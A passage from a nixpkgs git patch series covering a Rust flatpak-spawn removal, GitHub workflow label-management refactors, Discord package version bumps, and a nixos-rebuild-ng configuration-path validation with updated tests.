+-    let mut child = Command::new("flatpak-spawn")
+-        .arg("--host")
+-        .arg(get_binary_path(vault_config))
++    let mut child = Command::new(get_binary_path(vault_config))
+         .stdin(Stdio::piped())
+         .stdout(Stdio::piped())
+         .arg("-q")
+@@ -142,9 +130,7 @@ pub fn open(vault_config: &VaultConfig, password: String) -> Result<(), BackendE
+ pub fn close(vault_config: &VaultConfig) -> Result<(), BackendError> {
+     log::trace!("close({:?}, password: <redacted>)", vault_config);
+ 
+-    let child = Command::new("flatpak-spawn")
+-        .arg("--host")
+-        .arg("umount")
++    let child = Command::new("@umount@")
+         .stdout(Stdio::piped())
+         .arg(&vault_config.mount_directory)
+         .spawn()?;
+diff --git a/src/global_config_manager.rs b/src/global_config_manager.rs
+index 619bb18..cea9ac3 100644
+--- a/src/global_config_manager.rs
++++ b/src/global_config_manager.rs
+@@ -102,7 +102,7 @@ impl GlobalConfigManager {
+         let object: Self = glib::Object::new();
+ 
+         *object.imp().flatpak_info.borrow_mut() =
+-            Ini::load_from_file("/.flatpak-info").expect("Could not load .flatpak-info");
++            Ini::load_from_file("/.flatpak-info").unwrap_or_else(|_| Ini::new());
+ 
+         match user_config_dir().as_os_str().to_str() {
+             Some(user_config_directory) => {

From 6346ef5210cd1aedb63c1499cf1d1a3ec0d85a5d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 18 Jun 2025 18:03:01 +0200
Subject: [PATCH 1413/4511] workflows/labels: manage labels with a single API
 call

Instead of deleting each label separately and then making another call
to add new labels, this replaces all labels at once, thus saving API
calls in some cases. Also, the labels are now managed in object-style
compared to the array-style before. This allows putting all the
knowledge about each label into a single place instead of in multiple
places. For example, the rebuild labels had to be special cased in the
workflow before - and the nix code to compare had to match that. Also,
the approval labels had to be considered in the `before` and `after`
phases.

The next commit shows how easy it is to add a new label now.

(cherry picked from commit 5b5b18c875ca84ec3c3869d3995c9a8d80279642)
---
 .github/workflows/labels.yml | 72 ++++++++++++++++++------------------
 ci/eval/compare/default.nix  | 36 +++++++++---------
 ci/eval/compare/utils.nix    | 67 +++++++++++++--------------------
 3 files changed, 81 insertions(+), 94 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 3e44f8cdb0a6..870e3d98305d 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -194,19 +194,15 @@ jobs:
                     expectedHash: artifact.digest
                   })
 
-                  // Get all currently set labels that we manage
-                  const before =
+                  // Create a map (Label -> Boolean) of all currently set labels.
+                  // Each label is set to True and can be disabled later.
+                  const before = Object.fromEntries(
                     (await github.paginate(github.rest.issues.listLabelsOnIssue, {
                       ...context.repo,
                       issue_number: pull_request.number
                     }))
-                    .map(({ name }) => name)
-                    .filter(name =>
-                      name.startsWith('10.rebuild') ||
-                      name == '11.by: package-maintainer' ||
-                      name.startsWith('12.approvals:') ||
-                      name == '12.approved-by: package-maintainer'
-                    )
+                    .map(({ name }) => [name, true])
+                  )
 
                   const approvals = new Set(
                     (await github.paginate(github.rest.pulls.listReviews, {
@@ -221,35 +217,41 @@ jobs:
                     JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8'))
                   ).map(m => Number.parseInt(m, 10)))
 
-                  // And the labels that should be there
-                  const after = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels
-                  if (approvals.size > 0) after.push(`12.approvals: ${approvals.size > 2 ? '3+' : approvals.size}`)
-                  if (Array.from(maintainers).some(m => approvals.has(m))) after.push('12.approved-by: package-maintainer')
+                  const evalLabels = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels
 
-                  if (context.eventName == 'pull_request') {
-                    core.info('Skipping labeling on a pull_request event (no privileges).')
-                    return
-                  }
-
-                  // Remove the ones not needed anymore
-                  await Promise.all(
-                    before.filter(name => !after.includes(name))
-                    .map(name => github.rest.issues.removeLabel({
-                      ...context.repo,
-                      issue_number: pull_request.number,
-                      name
-                    }))
+                  // Manage the labels
+                  const after = Object.assign(
+                    {},
+                    before,
+                    // Ignore `evalLabels` if it's an array.
+                    // This can happen for older eval runs, before we switched to objects.
+                    // The old eval labels would have been set by the eval run,
+                    // so now they'll be present in `before`.
+                    // TODO: Simplify once old eval results have expired (~2025-10)
+                    (Array.isArray(evalLabels) ? undefined : evalLabels),
+                    {
+                      '12.approvals: 1': approvals.size == 1,
+                      '12.approvals: 2': approvals.size == 2,
+                      '12.approvals: 3+': approvals.size >= 3,
+                      '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)),
+                    }
                   )
 
-                  // And add the ones that aren't set already
-                  const added = after.filter(name => !before.includes(name))
-                  if (added.length > 0) {
-                    await github.rest.issues.addLabels({
-                      ...context.repo,
-                      issue_number: pull_request.number,
-                      labels: added
-                    })
-                  }
+                  // No need for an API request, if all labels are the same.
+                  const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name])
+                  if (log('Has changes', hasChanges, !hasChanges))
+                    return;
+
+                  // Skipping labeling on a pull_request event, because we have no privileges.
+                  const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name)
+                  if (log('Set labels', labels, context.eventName == 'pull_request'))
+                    return;
+
+                  await github.rest.issues.setLabels({
+                    ...context.repo,
+                    issue_number: pull_request.number,
+                    labels
+                  })
                 } catch (cause) {
                   throw new Error(`Labeling PR #${pull_request.number} failed.`, { cause })
                 }
diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index 302a2df90611..46507a492a59 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -31,10 +31,10 @@ let
             changed: ["package2", "package3"],
             removed: ["package4"],
           },
-          labels: [
-            "10.rebuild-darwin: 1-10",
-            "10.rebuild-linux: 1-10"
-          ],
+          labels: {
+            "10.rebuild-darwin: 1-10": true,
+            "10.rebuild-linux: 1-10": true
+          },
           rebuildsByKernel: {
             darwin: ["package1", "package2"],
             linux: ["package1", "package2", "package3"]
@@ -97,19 +97,21 @@ let
           rebuildCountByKernel
           ;
         labels =
-          (getLabels rebuildCountByKernel)
-          # Adds "10.rebuild-*-stdenv" label if the "stdenv" attribute was changed
-          ++ lib.mapAttrsToList (kernel: _: "10.rebuild-${kernel}-stdenv") (
-            lib.filterAttrs (_: lib.elem "stdenv") rebuildsByKernel
-          )
-          # Adds the "11.by: package-maintainer" label if all of the packages directly
-          # changed are maintained by the PR's author. (https://github.com/NixOS/ofborg/blob/df400f44502d4a4a80fa283d33f2e55a4e43ee90/ofborg/src/tagger.rs#L83-L88)
-          ++ lib.optional (
-            maintainers ? ${githubAuthorId}
-            && lib.all (lib.flip lib.elem maintainers.${githubAuthorId}) (
-              lib.flatten (lib.attrValues maintainers)
-            )
-          ) "11.by: package-maintainer";
+          getLabels rebuildCountByKernel
+          # Sets "10.rebuild-*-stdenv" label to whether the "stdenv" attribute was changed.
+          // lib.mapAttrs' (
+            kernel: rebuilds: lib.nameValuePair "10.rebuild-${kernel}-stdenv" (lib.elem "stdenv" rebuilds)
+          ) rebuildsByKernel
+          # Set the "11.by: package-maintainer" label to whether all packages directly
+          # changed are maintained by the PR's author.
+          # (https://github.com/NixOS/ofborg/blob/df400f44502d4a4a80fa283d33f2e55a4e43ee90/ofborg/src/tagger.rs#L83-L88)
+          // {
+            "11.by: package-maintainer" =
+              maintainers ? ${githubAuthorId}
+              && lib.all (lib.flip lib.elem maintainers.${githubAuthorId}) (
+                lib.flatten (lib.attrValues maintainers)
+              );
+          };
       }
     );
 
diff --git a/ci/eval/compare/utils.nix b/ci/eval/compare/utils.nix
index 064d2cf57ea1..d34299ca4654 100644
--- a/ci/eval/compare/utils.nix
+++ b/ci/eval/compare/utils.nix
@@ -151,7 +151,7 @@ rec {
     lib.genAttrs [ "linux" "darwin" ] filterKernel;
 
   /*
-    Maps an attrs of `kernel - rebuild counts` mappings to a list of labels
+    Maps an attrs of `kernel - rebuild counts` mappings to an attrs of labels
 
     Turns
       {
@@ -159,54 +159,37 @@ rec {
         darwin = 1;
       }
     into
-      [
-        "10.rebuild-darwin: 1"
-        "10.rebuild-darwin: 1-10"
-        "10.rebuild-linux: 11-100"
-      ]
+      {
+        "10.rebuild-darwin: 1" = true;
+        "10.rebuild-darwin: 1-10" = true;
+        "10.rebuild-darwin: 11-100" = false;
+        # [...]
+        "10.rebuild-darwin: 1" = false;
+        "10.rebuild-darwin: 1-10" = false;
+        "10.rebuild-linux: 11-100" = true;
+        # [...]
+      }
   */
   getLabels =
     rebuildCountByKernel:
-    lib.concatLists (
+    lib.mergeAttrsList (
       lib.mapAttrsToList (
         kernel: rebuildCount:
         let
-          numbers =
-            if rebuildCount == 0 then
-              [ "0" ]
-            else if rebuildCount == 1 then
-              [
-                "1"
-                "1-10"
-              ]
-            else if rebuildCount <= 10 then
-              [ "1-10" ]
-            else if rebuildCount <= 100 then
-              [ "11-100" ]
-            else if rebuildCount <= 500 then
-              [ "101-500" ]
-            else if rebuildCount <= 1000 then
-              [
-                "501-1000"
-                "501+"
-              ]
-            else if rebuildCount <= 2500 then
-              [
-                "1001-2500"
-                "501+"
-              ]
-            else if rebuildCount <= 5000 then
-              [
-                "2501-5000"
-                "501+"
-              ]
-            else
-              [
-                "5001+"
-                "501+"
-              ];
+          range = from: to: from <= rebuildCount && (rebuildCount <= to || to == null);
         in
-        lib.forEach numbers (number: "10.rebuild-${kernel}: ${number}")
+        lib.mapAttrs' (number: lib.nameValuePair "10.rebuild-${kernel}: ${number}") {
+          "0" = range 0 0;
+          "1" = range 1 1;
+          "1-10" = range 1 10;
+          "11-100" = range 11 100;
+          "101-500" = range 101 500;
+          "501-1000" = range 501 1000;
+          "501+" = range 501 null;
+          "1001-2500" = range 1001 2500;
+          "2501-5000" = range 2501 5000;
+          "5001+" = range 5001 null;
+        }
       ) rebuildCountByKernel
     );
 }

From 29cc462120bbff57709bdae673ae3d6b847cd1dd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 18 Jun 2025 18:04:06 +0200
Subject: [PATCH 1414/4511] workflows/labels: manage "first-time contribution"
 label

This is currently managed with yet another bot, but we don't need to -
this fits into our workflow nicely.

(cherry picked from commit 28f3b924036d479035656bc5b1b962eb63a5e68b)
---
 .github/workflows/labels.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 870e3d98305d..177021ff1497 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -234,6 +234,8 @@ jobs:
                       '12.approvals: 2': approvals.size == 2,
                       '12.approvals: 3+': approvals.size >= 3,
                       '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)),
+                      '12.first-time contribution':
+                        [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association),
                     }
                   )
 

From 948c1fd6fcce0aff817314b49d08f983225f2415 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 22 Jun 2025 18:23:52 +0200
Subject: [PATCH 1415/4511] discord: 0.0.95 -> 0.0.98

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 981cfce24e5e6e51c2d3c5e14e418b576c491133)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index b8e2c765cb23..7208be705114 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -9,7 +9,7 @@ let
   versions =
     if stdenv.hostPlatform.isLinux then
       {
-        stable = "0.0.95";
+        stable = "0.0.98";
         ptb = "0.0.146";
         canary = "0.0.687";
         development = "0.0.75";
@@ -26,7 +26,7 @@ let
     x86_64-linux = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/linux/${version}/discord-${version}.tar.gz";
-        hash = "sha256-8NpHTG3ojEr8LCRBE/urgH6xdAHLUhqz+A95obB75y4=";
+        hash = "sha256-JT3fIG5zj2tvVPN9hYxCUFInb78fuy8QeWeZClaYou8=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";

From 21ae2295786959f298748abc6843f35f7ebf856e Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 22 Jun 2025 18:25:14 +0200
Subject: [PATCH 1416/4511] discord-ptb: 0.0.146 -> 0.0.148

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 8850314a47c996f0e611c0b917ff7143f6e8dc93)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 7208be705114..5520cbf8810f 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.98";
-        ptb = "0.0.146";
+        ptb = "0.0.148";
         canary = "0.0.687";
         development = "0.0.75";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-bcQsz6hhgtUD2j0MD3rEdFhsGJMQY1+yo19y/lLX+j8=";
+        hash = "sha256-VRhcnjbC42nFZ3DepKNX75pBl0GeDaSWM1SGXJpuQs0=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From ee7c38cef0c4790f3d89745ba37dbea9e6148a30 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 22 Jun 2025 18:26:06 +0200
Subject: [PATCH 1417/4511] discord-canary: 0.0.687 -> 0.0.702

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit a649e49b9d060b18f2c2b81b7a4b11a93d5a3bca)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 5520cbf8810f..b8a6bc0d35c7 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.98";
         ptb = "0.0.148";
-        canary = "0.0.687";
+        canary = "0.0.702";
         development = "0.0.75";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-OaDN+Qklxieo9xlP8qVeCwWzPBe6bLXoFUkMOFCoqPg=";
+        hash = "sha256-OcRGqwf13yPnbDpYOyXZgEQN/zWshUXfaF5geiLetlc=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From 4b7d734d97b0ca26caec7c0e43c7e61da182573c Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 22 Jun 2025 18:27:06 +0200
Subject: [PATCH 1418/4511] discord-development: 0.0.75 -> 0.0.81

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 84362de6be03db9103236b46138a959ffb558125)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index b8a6bc0d35c7..d911b63e2c21 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -12,7 +12,7 @@ let
         stable = "0.0.98";
         ptb = "0.0.148";
         canary = "0.0.702";
-        development = "0.0.75";
+        development = "0.0.81";
       }
     else
       {
@@ -38,7 +38,7 @@ let
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";
-        hash = "sha256-wxbmdEzJu66CqJ87cdOKH5fhWKFvD/FBaeJVFxRCvlQ=";
+        hash = "sha256-njkuWtk+359feEYtWJSDukvbD5duXuRIr1m5cJVhNvs=";
       };
     };
     x86_64-darwin = {

From 4d15c4063bb303e6cf21ec39b1e8d4f78667714f Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 22 Jun 2025 18:29:09 +0200
Subject: [PATCH 1419/4511] discord: 0.0.347 -> 0.0.350

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 706da17f76f21a1327ff367e4d9ee1232f2fb06f)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index d911b63e2c21..385d04422420 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -16,7 +16,7 @@ let
       }
     else
       {
-        stable = "0.0.347";
+        stable = "0.0.350";
         ptb = "0.0.174";
         canary = "0.0.793";
         development = "0.0.88";
@@ -44,7 +44,7 @@ let
     x86_64-darwin = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/osx/${version}/Discord.dmg";
-        hash = "sha256-X9c5ruehxEd8FIdaQigiz7WGnh851BMqdo7Cz1wEb7Q=";
+        hash = "sha256-Giz0bE16v2Q2jULcnZMI1AY8zyjZ03hw4KVpDPJOmCo=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";

From 42b21d9481d1a77e14d32ef6e3e4a97ec3b7e4c2 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 22 Jun 2025 18:30:06 +0200
Subject: [PATCH 1420/4511] discord-ptb: 0.0.174 -> 0.0.179

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 3d87985db73d60fb19c662f027f97ba493c88d2b)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 385d04422420..2bbf18b45f1c 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -17,7 +17,7 @@ let
     else
       {
         stable = "0.0.350";
-        ptb = "0.0.174";
+        ptb = "0.0.179";
         canary = "0.0.793";
         development = "0.0.88";
       };
@@ -48,7 +48,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";
-        hash = "sha256-/suI1rVJZE1z8wLfiD65p7IdBJsJnz8zX1A2xmMMDnc=";
+        hash = "sha256-tGE7HAcWLpGlv5oXO7NEELdRtNfbhlpQeNc5zB7ba1A=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";

From 8b802c7bb5cb6a4cdafc486c53528fb24f8d4675 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 22 Jun 2025 18:31:11 +0200
Subject: [PATCH 1421/4511] discord-canary: 0.0.793 -> 0.0.808

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 7fa13df1b0ad28c8df43d1802997db52b2890995)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 2bbf18b45f1c..c452d8a1a157 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -18,7 +18,7 @@ let
       {
         stable = "0.0.350";
         ptb = "0.0.179";
-        canary = "0.0.793";
+        canary = "0.0.808";
         development = "0.0.88";
       };
   version = versions.${branch};
@@ -52,7 +52,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";
-        hash = "sha256-/5jSp6dQiElzofpV7bRNPyUqRgq3Adzb8r40Nd8+Fn0=";
+        hash = "sha256-Cu7U70yzHgOAJjtEx85T3x9f1oquNz7VNsX53ISbzKg=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";

From 39d7c1121454507ad30fbd754ce204585c1d48fb Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 22 Jun 2025 18:32:22 +0200
Subject: [PATCH 1422/4511] discord-development: 0.0.88 -> 0.0.94

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 39f822e4f8ccbc7767a86d5fccaa1d607d44883f)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index c452d8a1a157..1fa893d7f7dc 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -19,7 +19,7 @@ let
         stable = "0.0.350";
         ptb = "0.0.179";
         canary = "0.0.808";
-        development = "0.0.88";
+        development = "0.0.94";
       };
   version = versions.${branch};
   srcs = rec {
@@ -56,7 +56,7 @@ let
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";
-        hash = "sha256-vjpbLg1YIXOSCwnuMwlXo7Sj8B28i812lJ3yV2NLMrE=";
+        hash = "sha256-+bmzdkOSMpKnLGEoeXmAJSv2UHzirOLe1HDHAdHG2U8=";
       };
     };
     aarch64-darwin = x86_64-darwin;

From 9705f0c20db5105eeae18e72da43c94335297db3 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Thu, 19 Jun 2025 20:29:23 +0100
Subject: [PATCH 1423/4511] nixos-rebuild-ng: validate NixOS configuration path

When `path://` or `git+file://` protocol is used in Flake mode (that is
the most common case since we normalize the paths, see PR #375493) and
the current working directory in a symlink pointing base store path to
the Nix store (e.g., /run/opengl-driver/lib), there is a nasty bug where
Nix resolves the path as the Nix store path of the current derivation
instead of the target derivation.

Since we blindly activate this path, this can corrupt the installation
and break some other activation scripts, like `systemd-boot-builder.py`.
While it is possible to recover this situation using `nix-env -p
/nix/var/nix/profiles/system --delete-generations old`, this is far from
ideal.

This commit solves it by validating that the resolved NixOS
configuration path includes at least `$out/nixos-version`. I am not sure
if this is going to break some cases so there is a escape hatch in the
form of the environment variable
`NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM`,
but in general it looks safe.

(cherry picked from commit 0dce56f3f52ee767c6d7aa816675d33c1c12a630)
---
 .../src/nixos_rebuild/__init__.py             | 26 ++++++++++
 .../nixos-rebuild-ng/src/tests/test_main.py   | 50 ++++++++++++++++---
 2 files changed, 69 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index 838b8913abb3..fb68b219c1f9 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -5,6 +5,7 @@ import os
 import sys
 from pathlib import Path
 from subprocess import CalledProcessError, run
+from textwrap import dedent
 from typing import Final, assert_never
 
 from . import nix, tmpdir
@@ -329,6 +330,30 @@ def reexec(
                 os.execve(current, argv, os.environ | {"_NIXOS_REBUILD_REEXEC": "1"})
 
 
+def validate_nixos_config(path_to_config: Path) -> None:
+    if not (path_to_config / "nixos-version").exists() and not os.environ.get(
+        "NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM"
+    ):
+        msg = dedent(
+            # the lowercase for the first letter below is proposital
+            f"""
+                your NixOS configuration path seems to be missing essential files.
+                To avoid corrupting your current NixOS installation, the activation will abort.
+
+                This could be caused by Nix bug: https://github.com/NixOS/nix/issues/13367.
+                This is the evaluated NixOS configuration path: {path_to_config}.
+                Change the directory to somewhere else (e.g., `cd $HOME`) before trying again.
+
+                If you think this is a mistake, you can set the environment variable
+                NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM to 1
+                and re-run the command to continue.
+                Please open an issue if this is the case.
+            """
+        ).strip()
+        logger.error(msg)
+        sys.exit(1)
+
+
 def execute(argv: list[str]) -> None:
     args, args_groups = parse_args(argv)
 
@@ -488,6 +513,7 @@ def execute(argv: list[str]) -> None:
                     copy_flags=copy_flags,
                 )
                 if action in (Action.SWITCH, Action.BOOT):
+                    validate_nixos_config(path_to_config)
                     nix.set_profile(
                         profile,
                         path_to_config,
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index a66d70498c5f..345c8bd32f79 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -213,7 +213,11 @@ def test_reexec_flake(
     )
 
 
-@patch.dict(os.environ, {}, clear=True)
+@patch.dict(
+    os.environ,
+    {"NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM": "1"},
+    clear=True,
+)
 @patch("subprocess.run", autospec=True)
 def test_execute_nix_boot(mock_run: Mock, tmp_path: Path) -> None:
     nixpkgs_path = tmp_path / "nixpkgs"
@@ -291,7 +295,15 @@ def test_execute_nix_boot(mock_run: Mock, tmp_path: Path) -> None:
                     "boot",
                 ],
                 check=True,
-                **(DEFAULT_RUN_KWARGS | {"env": {"NIXOS_INSTALL_BOOTLOADER": "0"}}),
+                **(
+                    DEFAULT_RUN_KWARGS
+                    | {
+                        "env": {
+                            "NIXOS_INSTALL_BOOTLOADER": "0",
+                            "NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM": "1",
+                        }
+                    }
+                ),
             ),
         ]
     )
@@ -421,7 +433,11 @@ def test_execute_nix_build_image_flake(mock_run: Mock, tmp_path: Path) -> None:
     )
 
 
-@patch.dict(os.environ, {}, clear=True)
+@patch.dict(
+    os.environ,
+    {"NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM": "1"},
+    clear=True,
+)
 @patch("subprocess.run", autospec=True)
 def test_execute_nix_switch_flake(mock_run: Mock, tmp_path: Path) -> None:
     config_path = tmp_path / "test"
@@ -498,13 +514,25 @@ def test_execute_nix_switch_flake(mock_run: Mock, tmp_path: Path) -> None:
                     "switch",
                 ],
                 check=True,
-                **(DEFAULT_RUN_KWARGS | {"env": {"NIXOS_INSTALL_BOOTLOADER": "1"}}),
+                **(
+                    DEFAULT_RUN_KWARGS
+                    | {
+                        "env": {
+                            "NIXOS_INSTALL_BOOTLOADER": "1",
+                            "NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM": "1",
+                        }
+                    }
+                ),
             ),
         ]
     )
 
 
-@patch.dict(os.environ, {}, clear=True)
+@patch.dict(
+    os.environ,
+    {"NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM": "1"},
+    clear=True,
+)
 @patch("subprocess.run", autospec=True)
 @patch("uuid.uuid4", autospec=True)
 @patch(get_qualified_name(nr.cleanup_ssh), autospec=True)
@@ -714,7 +742,11 @@ def test_execute_nix_switch_build_target_host(
     )
 
 
-@patch.dict(os.environ, {}, clear=True)
+@patch.dict(
+    os.environ,
+    {"NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM": "1"},
+    clear=True,
+)
 @patch("subprocess.run", autospec=True)
 @patch(get_qualified_name(nr.cleanup_ssh), autospec=True)
 def test_execute_nix_switch_flake_target_host(
@@ -817,7 +849,11 @@ def test_execute_nix_switch_flake_target_host(
     )
 
 
-@patch.dict(os.environ, {}, clear=True)
+@patch.dict(
+    os.environ,
+    {"NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM": "1"},
+    clear=True,
+)
 @patch("subprocess.run", autospec=True)
 @patch(get_qualified_name(nr.cleanup_ssh), autospec=True)
 def test_execute_nix_switch_flake_build_host(

From 94b9c63421a414cb4d3d6f3f49a1c3c984ec6230 Mon Sep 17 00:00:00 2001
